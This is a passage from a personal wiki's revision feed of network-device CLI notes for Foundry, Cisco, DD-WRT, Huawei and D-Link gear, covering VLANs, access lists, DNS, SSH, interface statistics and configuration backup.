  1       0.0.0.0           0.0.0.0           145.145.24.140    1      1 0&lt;br /&gt;
  2       192.168.251.0     255.255.255.0     192.168.252.1     1      1 0&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== ip interface networks === &lt;br /&gt;
&amp;lt;syntaxhighlight lang=visualfoxpro &amp;gt;&lt;br /&gt;
show ip interface&lt;br /&gt;
Interface       IP-Address      OK?  Method    Status                 Protocol&lt;br /&gt;
Ve 10           1.5.4.1  YES  NVRAM     up                     up      &lt;br /&gt;
Ve 100          1.2.1.33   YES  NVRAM     up                     up      &lt;br /&gt;
Ve 101          1.2.1.129  YES  NVRAM     up                     up      &lt;br /&gt;
Ve 102          1.2.1.193  YES  NVRAM     up                     up      &lt;br /&gt;
Ve 103          1.2.1.225  YES  NVRAM     up                     up      &lt;br /&gt;
Ve 104          1.2.1.241  YES  NVRAM     up                     up      &lt;br /&gt;
Ve 105          1.2.1.249  YES  NVRAM     up                     up      &lt;br /&gt;
Ve 106          1.2.1.17   YES  NVRAM     up                     up      &lt;br /&gt;
Ve 111          1.2.1.65   YES  NVRAM     up                     up      &lt;br /&gt;
Ve 112          1.2.1.81   YES  NVRAM     up                     up      &lt;br /&gt;
Ve 113          1.2.1.97   YES  NVRAM     up                     up      &lt;br /&gt;
Ve 200          1.2.3.4  YES  NVRAM     up                     up     &lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== add VLAN ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=visualfoxpro &amp;gt;&lt;br /&gt;
vlan 123 name v-users by port&lt;br /&gt;
tagged ethe 2 to 4&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== VLAN detail ===&lt;br /&gt;
* show vlans&lt;br /&gt;
&amp;lt;syntaxhighlight lang=visualfoxpro &amp;gt;&lt;br /&gt;
Total PORT-VLAN entries: 19&lt;br /&gt;
Maximum PORT-VLAN entries: 4095&lt;br /&gt;
PORT-VLAN 1, Name DEFAULT-VLAN, Priority level0, Spanning tree Off&lt;br /&gt;
 Untagged Ports:   2   3   4  19  20 &lt;br /&gt;
   Tagged Ports: None&lt;br /&gt;
   Uplink Ports: None&lt;br /&gt;
 DualMode Ports: None&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== virtual ethernet configuration ===&lt;br /&gt;
* is the ip configuration of the vlan subnet&lt;br /&gt;
&amp;lt;syntaxhighlight lang=visualfoxpro &amp;gt;&lt;br /&gt;
&lt;br /&gt;
interface ve 300&lt;br /&gt;
 port-name v-secondary&lt;br /&gt;
 ip access-group 300 in&lt;br /&gt;
 ip address 1.2.1.1 255.255.255.240&lt;br /&gt;
!&lt;br /&gt;
interface ve 100&lt;br /&gt;
 port-name v-primary&lt;br /&gt;
 ip address 1.2.3.1 255.255.252.0&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== access list per IP ===&lt;br /&gt;
* access list used by virtual ethernet&lt;br /&gt;
&amp;lt;syntaxhighlight lang=visualfoxpro &amp;gt;&lt;br /&gt;
&lt;br /&gt;
access-list 10 permit 1.2.3.0 0.0.3.255&lt;br /&gt;
access-list 10 permit 1.2.1.0 0.0.0.255&lt;br /&gt;
access-list 10 deny any log&lt;br /&gt;
&lt;br /&gt;
access-list 300 deny ip any 1.2.3.0 0.0.3.255 log&lt;br /&gt;
access-list 300 deny ip any 1.2.1.0 0.0.0.255 log&lt;br /&gt;
access-list 300 permit ip any any&lt;br /&gt;
&lt;br /&gt;
access-list 103 permit ip any 1.2.5.0 0.0.0.255&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== set DNS === &lt;br /&gt;
* add 3 DNS servers:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=python &amp;gt;&lt;br /&gt;
ip dns server-address 1.2.3.4 10.11.12.13 101.102.103.104&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* del 1 DNS server:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=python &amp;gt;&lt;br /&gt;
no ip dns server-address 10.11.12.13&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== SSH management config ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=visualfoxpro &amp;gt;&lt;br /&gt;
 ip ssh  key-authentication no&lt;br /&gt;
 ip ssh  source-interface ve 200&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== add port to VLAN ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=visualfoxpro &amp;gt;&lt;br /&gt;
&lt;br /&gt;
* add tagged port:&lt;br /&gt;
 # vlan 4&lt;br /&gt;
 (vlan-4)# tag ethe 11&lt;br /&gt;
 # end&lt;br /&gt;
* add untagged port&lt;br /&gt;
 (vlan-4)# untag ethe 11&lt;br /&gt;
 # end&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== remove port from VLAN ===&lt;br /&gt;
&amp;lt;syntaxhighlight lang=visualfoxpro &amp;gt;&lt;br /&gt;
* remove un-tagged port:&lt;br /&gt;
 #vlan 4&lt;br /&gt;
 (vlan-4)# no untag ethe 11&lt;br /&gt;
 # end&lt;br /&gt;
* tagged port&lt;br /&gt;
 (vlan-4)# no tag ethe 11&lt;br /&gt;
 # end&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== change temperature warning level ===&lt;br /&gt;
&lt;br /&gt;
* temperature at when the device will give warning&lt;br /&gt;
 # temperature warning 47&lt;br /&gt;
* temperature at when the device will shut down&lt;br /&gt;
 # temperature shutdown 57&lt;br /&gt;
* change the polling time interval&lt;br /&gt;
 # chassis poll-time 200&lt;br /&gt;
&lt;br /&gt;
=== change logging size ===&lt;br /&gt;
&amp;lt;syntaxhighlight lang=visualfoxpro &amp;gt;&lt;br /&gt;
#config te&lt;br /&gt;
BR-SSH@coresw1(config)#logging buffered 300&lt;br /&gt;
Reload required.  Please write memory and then reload or power cycle.&lt;br /&gt;
BR-SSH@coresw1(config)#write memory&lt;br /&gt;
Write startup-config done.&lt;br /&gt;
BR-SSH@coresw1(config)#end&lt;br /&gt;
BR-SSH@coresw1#reload&lt;br /&gt;
Are you sure? (enter 'y' or 'n'): y&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;/div&gt;</summary>
		<author><name>Porcelinux</name></author>
	</entry>
	<entry>
		<id>https://wiki.alessandro.delgallo.net//index.php?title=Router-language&amp;diff=6400</id>
		<title>Router-language</title>
		<link rel="alternate" type="text/html" href="https://wiki.alessandro.delgallo.net//index.php?title=Router-language&amp;diff=6400"/>
		<updated>2022-06-21T08:33:30Z</updated>

		<summary type="html">&lt;p&gt;Porcelinux: /* Huawei */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Cisco ==&lt;br /&gt;
&lt;br /&gt;
* http://www.cisco.com/en/US/docs/internetworking/troubleshooting/guide/tr1904.html&lt;br /&gt;
&lt;br /&gt;
*; Save config&lt;br /&gt;
 # write memory&lt;br /&gt;
&lt;br /&gt;
=== VLAN ===&lt;br /&gt;
*; New VLAN&lt;br /&gt;
 Switch# configure terminal&lt;br /&gt;
 Switch(config)# vlan 20&lt;br /&gt;
 Switch(config-vlan)# name test20&lt;br /&gt;
 Switch(config-vlan)# end &lt;br /&gt;
&lt;br /&gt;
 Switch(config)# no vlan vlan-id&lt;br /&gt;
*: Port-VLAN&lt;br /&gt;
 Switch# configure terminal&lt;br /&gt;
 Switch(config)# interface gigabitethernet 1/0/1&lt;br /&gt;
 Switch(config-if)# switchport mode access&lt;br /&gt;
 Switch(config-if)# switchport access vlan 2&lt;br /&gt;
 Switch(config-if)# end &lt;br /&gt;
&lt;br /&gt;
*; IEEE 802.1Q trunking &lt;br /&gt;
 Switch# configure terminal&lt;br /&gt;
 Switch(config)# interface gigabitethernet 1/0/1&lt;br /&gt;
 Switch(config-if)# switchport mode dynamic desirable&lt;br /&gt;
 Switch(config-if)# end &lt;br /&gt;
&lt;br /&gt;
*; remove VLAN 2 from the allowed VLAN list on a port:&lt;br /&gt;
 Switch(config)# interface gigabitethernet 1/0/1&lt;br /&gt;
 Switch(config-if)# switchport trunk allowed vlan remove 2&lt;br /&gt;
 Switch(config-if)# end&lt;br /&gt;
&lt;br /&gt;
== DD-WRT ==&lt;br /&gt;
&lt;br /&gt;
* show all variables named/containing THISSSS&lt;br /&gt;
 nvram show|grep THISSSS&lt;br /&gt;
&lt;br /&gt;
* unset all variables named/containing THISSSS&lt;br /&gt;
 for a in $(nvram show|grep THISSSS|grep -v size);do nvram unset $(echo $a|cut -d&amp;quot;=&amp;quot; -f1);done &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
 vlan4ports=0 5*&lt;br /&gt;
 vlan4_ipaddr=0.0.0.0&lt;br /&gt;
 vlan4hwname=et0&lt;br /&gt;
 port2vlans=4&lt;br /&gt;
&lt;br /&gt;
== Huawei ==&lt;br /&gt;
;(AR502CG-L)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
More details in [[Huawei AR500]]&lt;br /&gt;
*https://support.huawei.com/enterprise/en/doc/EDOC1000097293/10a4569b/cellular-interface-configuration-commands&lt;br /&gt;
*https://support.huawei.com/enterprise/en/doc/EDOC1000177810/29a820da/nat-configuration-commands&lt;br /&gt;
&lt;br /&gt;
* Access CLI&lt;br /&gt;
** from the web interface, create a telnet enabled user and enable telnet service.&lt;br /&gt;
&lt;br /&gt;
 telnet 192.168.x.x &lt;br /&gt;
 ...&lt;br /&gt;
 system-view&lt;br /&gt;
&lt;br /&gt;
=== Cellular WAN connection information ===&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;lt;Huawei&amp;gt;display cellular 0/0/0 all&lt;br /&gt;
Modem State:&lt;br /&gt;
Hardware Information.&lt;br /&gt;
=====================&lt;br /&gt;
Model = ME909s-120&lt;br /&gt;
Modem Type = LTE module&lt;br /&gt;
...&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Display APN profiles&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;lt;Huawei&amp;gt;display apn-profile configuration&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Display IP interface WAN&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
display interface cellular 0/0/0&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 display ip interface brief&lt;br /&gt;
&lt;br /&gt;
 display ip routing-table&lt;br /&gt;
&lt;br /&gt;
* reset counters&lt;br /&gt;
 reset counters interface cellular 0/0/0&lt;br /&gt;
&lt;br /&gt;
=== change Interface MTU ===&lt;br /&gt;
 &amp;lt;Huawei&amp;gt; system-view&lt;br /&gt;
 [Huawei] interface cellular 0/0/0 &lt;br /&gt;
 [Huawei-Cellular0/0/0] mtu 1200&lt;br /&gt;
 [Huawei-Cellular0/0/0] restart&lt;br /&gt;
&lt;br /&gt;
=== SMS ===&lt;br /&gt;
&lt;br /&gt;
* List SMS&lt;br /&gt;
 display sms interface cellular 0/0/0 brief&lt;br /&gt;
&lt;br /&gt;
* SMS stats&lt;br /&gt;
 display sms interface cellular 0/0/0 statistics&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== NAT tutorial ===&lt;br /&gt;
https://support.huawei.com/enterprise/en/doc/EDOC1000177799/c5cb4df6/example-for-configuring-an-lte-cellular-interface-as-the-primary-interface-to-connect-to-the-internet&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== DLink ==&lt;br /&gt;
&lt;br /&gt;
xStack DGS-3200 Series Layer 2 Gigabit Managed Switch CLI Manual&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
VLAN Command List&lt;br /&gt;
create vlan &amp;lt;vlan_name 32 &amp;gt; tag &amp;lt;vlanid 2-4094&amp;gt; { type [1q_vlan advertisement | private_vlan] }&lt;br /&gt;
create vlan vlanid &amp;lt;vidlist&amp;gt; { type [1q_vlan | private_vlan] { advertisement } }&lt;br /&gt;
delete vlan &amp;lt;vlan_name&amp;gt;&lt;br /&gt;
delete vlan vlanid &amp;lt;vlanid_list&amp;gt;&lt;br /&gt;
config vlan &amp;lt; vlan_name &amp;gt; { [ add [ tagged | untagged | forbidden ] | delete ] &amp;lt;portlist&amp;gt; |&lt;br /&gt;
advertisement [ enable | disable ] }&lt;br /&gt;
config vlan vlanid &amp;lt;vidlist&amp;gt; { [ add [ tagged | untagged | forbidden ] | delete ] &amp;lt;portlist&amp;gt; |&lt;br /&gt;
advertisement [ enable | disable ]| name &amp;lt;vlan_name&amp;gt;}&lt;br /&gt;
config vlan &amp;lt;vlan_name&lt;br /&gt;
&amp;gt; delete &amp;lt;portlist&amp;gt;&lt;br /&gt;
config vlan vlanid &amp;lt;vlanid_&lt;br /&gt;
list&amp;gt; delete &amp;lt;portlist&amp;gt;&lt;br /&gt;
config gvrp [&amp;lt;portlist&amp;gt; | all] {state [enable | disable] | ingress_checking [enable | disable]&lt;br /&gt;
|acceptable_frame[tagged_only | admit_all] pvid&amp;lt;vlanid 1-4094&amp;gt; }&lt;br /&gt;
enable gvrp&lt;br /&gt;
disable gvrp&lt;br /&gt;
show vlan { &amp;lt;vlan_name 32&amp;gt; | vlanid&lt;br /&gt;
&amp;lt;vlanid_list&amp;gt; | ports &amp;lt;portlist&amp;gt;}&lt;br /&gt;
show gvrp {&amp;lt;portlist&amp;gt;}&lt;br /&gt;
enable pvid auto_assign&lt;br /&gt;
disable pvid auto_assign&lt;br /&gt;
show pvid auto_assign&lt;br /&gt;
config private_vlan [&amp;lt;vlan_name 32&amp;gt; | vid &amp;lt;vlanid 1-4094&amp;gt;] [add [isolated | community] | remove]&lt;br /&gt;
[&amp;lt;vlan_name 32&amp;gt; | vlanid &amp;lt;vidlist&amp;gt;]&lt;br /&gt;
show private_vlan { [vlan_name 32&amp;gt; | vlanid &amp;lt;vidlist&amp;gt;] } &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Foundry ==&lt;br /&gt;
&lt;br /&gt;
=== show ===&lt;br /&gt;
  802-1w                 Rapid Spanning tree IEEE 802.1w D10 status&lt;br /&gt;
  aaa                    Show TACACS+ and RADIUS server statistics&lt;br /&gt;
  access-list            Show access list hit statistics&lt;br /&gt;
  acl-on-arp             Show ARP ACL filtering&lt;br /&gt;
  arp                    Arp table&lt;br /&gt;
  auth-mac-addresses     MAC Authentication status&lt;br /&gt;
  batch                  Batch commands&lt;br /&gt;
  cable-diagnostics      Show Cable Diagnostics&lt;br /&gt;
  chassis                Power supply/fan/temperature&lt;br /&gt;
  clock                  System time and date&lt;br /&gt;
  configuration          Configuration data in startup config file&lt;br /&gt;
  debug                  Debug information&lt;br /&gt;
  default                System default settings&lt;br /&gt;
  dot1x                  dot1x  information&lt;br /&gt;
  errdisable             Errdisable status&lt;br /&gt;
  fdp                    CDP/FDP information&lt;br /&gt;
  flash                  Flash memory contents&lt;br /&gt;
  interfaces             Port status&lt;br /&gt;
  ip                     IP address setting&lt;br /&gt;
  ipv6                   IP setting&lt;br /&gt;
  link-aggregate         802.3ad Link Aggregation Information&lt;br /&gt;
  link-error-disable     Link Debouncing Control&lt;br /&gt;
  link-keepalive         Link Layer Keepalive&lt;br /&gt;
  logging                System log                               &lt;br /&gt;
  mac-address            MAC address table&lt;br /&gt;
  media                  Gig port SX/LX/LHA/LHB&lt;br /&gt;
  memory                 System memory usage&lt;br /&gt;
  metro-ring             metro ring protocol information&lt;br /&gt;
  mirror                 Mirror ports&lt;br /&gt;
  monitor                Monitor ports&lt;br /&gt;
  mstp                   show MSTP (IEEE 802.1s) information&lt;br /&gt;
  port                   Show port security&lt;br /&gt;
  priority-mapping       802.1Q tagged priority setting&lt;br /&gt;
  processes              Active process statistics&lt;br /&gt;
  protected-link-group   Show Protected Link Group Details&lt;br /&gt;
  ptrace                 Global ptrace information&lt;br /&gt;
  qos-profiles           QOS configuration&lt;br /&gt;
  qos-tos                IPv4 ToS based QoS&lt;br /&gt;
  radius                 show radius server debug info&lt;br /&gt;
  rate-limit             Rate-limiting table and actions&lt;br /&gt;
  redundancy             Display management redundancy details&lt;br /&gt;
  relative-utilization   Relative utilization list&lt;br /&gt;
  reload                 Scheduled system reset&lt;br /&gt;
  rmon                   Rmon status&lt;br /&gt;
  running-config         Current running-config&lt;br /&gt;
  sflow                  sflow information&lt;br /&gt;
  snmp                   SNMP statistics                          &lt;br /&gt;
  sntp                   Show SNTP&lt;br /&gt;
  span                   Spanning tree status&lt;br /&gt;
  statistics             Packet statistics&lt;br /&gt;
  stp-bpdu-guard         Show stp bpdu guard status&lt;br /&gt;
  stp-group              Spanning Tree Group Membership&lt;br /&gt;
  stp-protect-ports      Show stp-protect enabled ports and their BPDU drop&lt;br /&gt;
                         counters&lt;br /&gt;
  tech-support           System snap shot for tech support&lt;br /&gt;
  telnet                 Telnet connection&lt;br /&gt;
  topology-group         Topology Group Membership&lt;br /&gt;
  traffic-policy         Show traffic policy definition&lt;br /&gt;
  transmit-counter       Transmit Queue Counters&lt;br /&gt;
  trunk                  Show trunk status&lt;br /&gt;
  users                  User accounts&lt;br /&gt;
  version                System status&lt;br /&gt;
  vlan                   VLAN status&lt;br /&gt;
  vlan-group             VLAN Group Membership&lt;br /&gt;
  voice-vlan             Show voice vlan&lt;br /&gt;
  vsrp                   Show VSRP commands&lt;br /&gt;
  web-connection         Current web connections&lt;br /&gt;
  who                    User login&lt;br /&gt;
  |                      Output modifiers&lt;br /&gt;
  &amp;lt;cr&amp;gt;      &lt;br /&gt;
&lt;br /&gt;
=== enable ===&lt;br /&gt;
* when logged in, the &amp;quot;enable&amp;quot; command give you the administration rights&lt;br /&gt;
* in this status we can monitor e check configuration.&lt;br /&gt;
&amp;lt;syntaxhighlight lang=visualfoxpro &amp;gt;&lt;br /&gt;
$ enable&lt;br /&gt;
password...&lt;br /&gt;
# _&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* entering in &amp;quot;edit configuration&amp;quot; mode, you can edit the configuration, '''live!''' be very careful&lt;br /&gt;
&amp;lt;syntaxhighlight lang=visualfoxpro &amp;gt;&lt;br /&gt;
config [te]&lt;br /&gt;
password...&lt;br /&gt;
(config)#&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* after making changes, you can check them with this command (because &amp;quot;show config&amp;quot; will give you the configuration saved in memory, not the running one that you just modified.&lt;br /&gt;
&amp;lt;syntaxhighlight lang=visualfoxpro &amp;gt;&lt;br /&gt;
(config)# show running-config&lt;br /&gt;
[...]&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* after all your checks, this is the command to save the changes permanently.&lt;br /&gt;
&amp;lt;syntaxhighlight lang=visualfoxpro &amp;gt;&lt;br /&gt;
(config)# write memory&lt;br /&gt;
# &lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* an option to backup the configuration is to copy it by TFTP to a server.&lt;br /&gt;
&amp;lt;syntaxhighlight lang=visualfoxpro &amp;gt;&lt;br /&gt;
#copy running-config tftp 1.2.3.123 router-config-20122112.txt&lt;br /&gt;
 #Upload running-config to TFTP server done.&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== show cpu ===&lt;br /&gt;
show cpu&lt;br /&gt;
&amp;lt;syntaxhighlight lang=visualfoxpro &amp;gt;&lt;br /&gt;
31 percent busy, from 3248 sec ago 1	sec avg: &lt;br /&gt;
31 percent busy 5	sec avg: &lt;br /&gt;
31 percent busy 60 sec avg: &lt;br /&gt;
31 percent busy&lt;br /&gt;
&lt;br /&gt;
300 sec avg: 31 percent busy   &lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* cpu/process utilizaiton&lt;br /&gt;
&amp;lt;syntaxhighlight lang=visualfoxpro &amp;gt;&lt;br /&gt;
# show process cpu&lt;br /&gt;
Process Name&lt;br /&gt;
ACL&lt;br /&gt;
ARP BGP DOT1X GVRP ICMP IP L2VLAN OSPF RIP STP VRRP&lt;br /&gt;
5Sec(%)	1Min(%)&lt;br /&gt;
0.00	0.00&lt;br /&gt;
0.01	0.01 0.00	0.00 0.00	0.00 0.00	0.00 0.00	0.00 0.00	0.00 0.01	0.00 0.00	0.00 0.00	0.00 0.00	0.00 0.00	0.00&lt;br /&gt;
5Min(%)	15Min(%)&lt;br /&gt;
Runtime(ms)&lt;br /&gt;
0.00	0.00	0&lt;br /&gt;
0.01	0.01	714 0.00	0.00	0 0.00	0.00	0 0.00	0.00	0 0.00	0.00	161 0.00	0.00	229 0.00	0.01	673 0.00	0.00	0 0.00	0.00	9 0.00	0.00	7 0.00	0.00	0&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== port status short ===&lt;br /&gt;
* show interface brief&lt;br /&gt;
&amp;lt;syntaxhighlight lang=visualfoxpro &amp;gt;&lt;br /&gt;
Port  Link    State     Dupl Speed Trunk Tag Priori MAC            Name        &lt;br /&gt;
1     Up      Forward   Full 1G    None  No  level0 0012.f286....              &lt;br /&gt;
2     Disable None      None None  None  No  level0 0012.f286....                &lt;br /&gt;
&lt;br /&gt;
Port  Link    State     Dupl Speed Trunk Tag Priori MAC            Name        &lt;br /&gt;
ve10  Up      N/A       N/A  N/A   None  N/A N/A    0012.f286....     &lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
=== ip traffic ===&lt;br /&gt;
&amp;lt;syntaxhighlight lang=visualfoxpro &amp;gt;&lt;br /&gt;
#show ip traffic &lt;br /&gt;
IP Statistics&lt;br /&gt;
  249333533 received, 92410 sent, 248630753 forwarded&lt;br /&gt;
  0 filtered, 0 fragmented, 0 reassembled, 4480 bad header&lt;br /&gt;
  495 no route, 0 unknown proto, 0 no buffer, 43582 other errors&lt;br /&gt;
&lt;br /&gt;
ARP Statistics&lt;br /&gt;
  151530 total recv, 149155 req recv, 214351 req sent, 67830 rep sent&lt;br /&gt;
  0 pending drop, 0 invalid source, 0 invalid dest&lt;br /&gt;
&lt;br /&gt;
ICMP Statistics&lt;br /&gt;
Received:&lt;br /&gt;
  13364 total, 25 errors, 103 unreachable, 25 time exceed&lt;br /&gt;
  0 parameter, 0 source quench, 0 redirect, 13202 echo, &lt;br /&gt;
  9 echo reply, 0 timestamp, 0 timestamp reply, 0 addr mask&lt;br /&gt;
  0 addr mask reply, 0 irdp advertisement, 0 irdp solicitation&lt;br /&gt;
Sent:&lt;br /&gt;
  55536 total, 0 errors, 38105 unreachable, 4205 time exceed&lt;br /&gt;
  24 parameter, 0 source quench, 0 redirect, 0 echo, &lt;br /&gt;
  13202 echo reply, 0 timestamp, 0 timestamp reply, 0 addr mask&lt;br /&gt;
  0 addr mask reply, 0 irdp advertisement, 0 irdp solicitation&lt;br /&gt;
&lt;br /&gt;
UDP Statistics&lt;br /&gt;
  173951 received, 15129 sent, 119850 no port, 0 input errors&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== MAC address table ===&lt;br /&gt;
 show mac-address&lt;br /&gt;
&amp;lt;syntaxhighlight lang=visualfoxpro &amp;gt;&lt;br /&gt;
Total active entries from all ports = 69&lt;br /&gt;
MAC-Address     Port         Type       Index      VLAN &lt;br /&gt;
0800.270c.ce47  5            Dynamic    30         113  &lt;br /&gt;
0011.7800.9a44  8            Dynamic    14232      200  &lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
=== ethernet data flow statistics ===&lt;br /&gt;
* show rmon statistics&lt;br /&gt;
&amp;lt;syntaxhighlight lang=visualfoxpro &amp;gt;&lt;br /&gt;
Ethernet statistics 1 is active, owned by monitor&lt;br /&gt;
 Interface 1 (ifIndex 1) counters&lt;br /&gt;
           Octets          62219423556&lt;br /&gt;
      Drop events                    0             Packets             74215428&lt;br /&gt;
   Broadcast pkts                  613      Multicast pkts                83808&lt;br /&gt;
 CRC align errors                    0      Undersize pkts                    0&lt;br /&gt;
    Oversize pkts                    0           Fragments                    0&lt;br /&gt;
          Jabbers                    0          Collisions                    0&lt;br /&gt;
&lt;br /&gt;
 Packet size counters&lt;br /&gt;
               64              8199939           65 to 127             21283872&lt;br /&gt;
       128 to 255              2667477          256 to 511              1406813&lt;br /&gt;
      512 to 1023              2001555        1024 to 1518             38655772&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== physical media installed in port ===&lt;br /&gt;
* show media&lt;br /&gt;
&amp;lt;syntaxhighlight lang=visualfoxpro &amp;gt;&lt;br /&gt;
1:M-SX 2:   3:   4:   5: C 6: C 7: C 8: C 9: C 10: C 11: C 12: C 13: C 14: C 15: C 16: C 17: C 18: C 19: C 20: C 21: C 22: C 23: C 24: C &lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* C1550 – CWDM transceiver with 1550 nm wavelength &lt;br /&gt;
* EFM-U – 1000Base-BX10-U fiber (uplink) transceiver &lt;br /&gt;
* EFM-D – 1000Base-BX10-D fiber (downlink) transceiver&lt;br /&gt;
* M-FX – 100BaseFX fiber mini-GBIC &lt;br /&gt;
* M-FXB1 or M-FXB2 – 100BaseFX fiber mini-GBIC  &lt;br /&gt;
* M-LX – 1000BaseLX fiber mini-GBIC &lt;br /&gt;
* M-SX – 1000BaseSX fiber mini-GBIC &lt;br /&gt;
* M-TX – 1000BaseTX copper mini-GBIC &lt;br /&gt;
* M-XR – 1000BaseSX 2 fiber mini-GBIC &lt;br /&gt;
* FXB1 or FXB2 – 1000BaseBX fiber mini-GBIC &lt;br /&gt;
* M-LHA 1000BaseLHA fiber mini-GBIC&lt;br /&gt;
&lt;br /&gt;
=== interface speed ===&lt;br /&gt;
&lt;br /&gt;
 Router(config)# interface e 8 &lt;br /&gt;
 Router(config-if-e1000-8)# speed-duplex 10-full&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== ethernet details ===&lt;br /&gt;
* show interface ethernet 1&lt;br /&gt;
&amp;lt;syntaxhighlight lang=visualfoxpro &amp;gt;&lt;br /&gt;
GigabitEthernet1 is up, line protocol is up &lt;br /&gt;
  Hardware is GigabitEthernet, address is 0012.f286.7e40 (bia 0012.f286.7e40)&lt;br /&gt;
  Configured speed auto, actual 1Gbit, configured duplex fdx, actual fdx&lt;br /&gt;
  Configured mdi mode AUTO, actual MDI&lt;br /&gt;
  Member of L2 VLAN ID 10, port is untagged, port state is FORWARDING&lt;br /&gt;
  BPDU guard is Disabled, ROOT protect is Disabled&lt;br /&gt;
  Link Error Dampening is Disabled&lt;br /&gt;
  STP configured to ON, priority is level0&lt;br /&gt;
  Flow Control is config enabled, oper enabled, negotiation disabled&lt;br /&gt;
  mirror disabled, monitor disabled&lt;br /&gt;
  Not member of any active trunks&lt;br /&gt;
  Not member of any configured trunks&lt;br /&gt;
  No port name&lt;br /&gt;
  IPG MII 96 bits-time, IPG GMII 96 bits-time&lt;br /&gt;
  IP MTU 1500 bytes, encapsulation ethernet&lt;br /&gt;
  300 second input rate: 262016 bits/sec, 119 packets/sec, 0.02% utilization&lt;br /&gt;
  300 second output rate: 1558744 bits/sec, 178 packets/sec, 0.15% utilization&lt;br /&gt;
  35819040 packets input, 31760156880 bytes, 0 no buffer&lt;br /&gt;
  Received 559 broadcasts, 83280 multicasts, 35735201 unicasts&lt;br /&gt;
  0 input errors, 0 CRC, 0 frame, 0 ignored&lt;br /&gt;
  0 runts, 0 giants&lt;br /&gt;
  38293277 packets output, 30371035971 bytes, 0 underruns&lt;br /&gt;
  Transmitted 53 broadcasts, 0 multicasts, 38293224 unicasts&lt;br /&gt;
  0 output errors, 0 collisions&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== ip routes ===&lt;br /&gt;
 show ip&lt;br /&gt;
&amp;lt;syntaxhighlight lang=visualfoxpro &amp;gt;&lt;br /&gt;
Global Settings&lt;br /&gt;
  ttl: 64, arp-age: 10, bootp-relay-max-hops: 4&lt;br /&gt;
  router-id : 0.0.0.0&lt;br /&gt;
  enabled : UDP-Broadcast-Forwarding  Source-Route  Load-Sharing  RARP  &lt;br /&gt;
  disabled: Route-Only  Directed-Broadcast-Forwarding  IRDP  Proxy-ARP  RIP  DVMRP  VRRP  VRRP-Extended  &lt;br /&gt;
Static Routes&lt;br /&gt;
  Index   IP Address        Subnet Mask       Next Hop Router   Metric Distance&lt;br /&gt;
  1       0.0.0.0           0.0.0.0           145.145.24.140    1      1 0&lt;br /&gt;
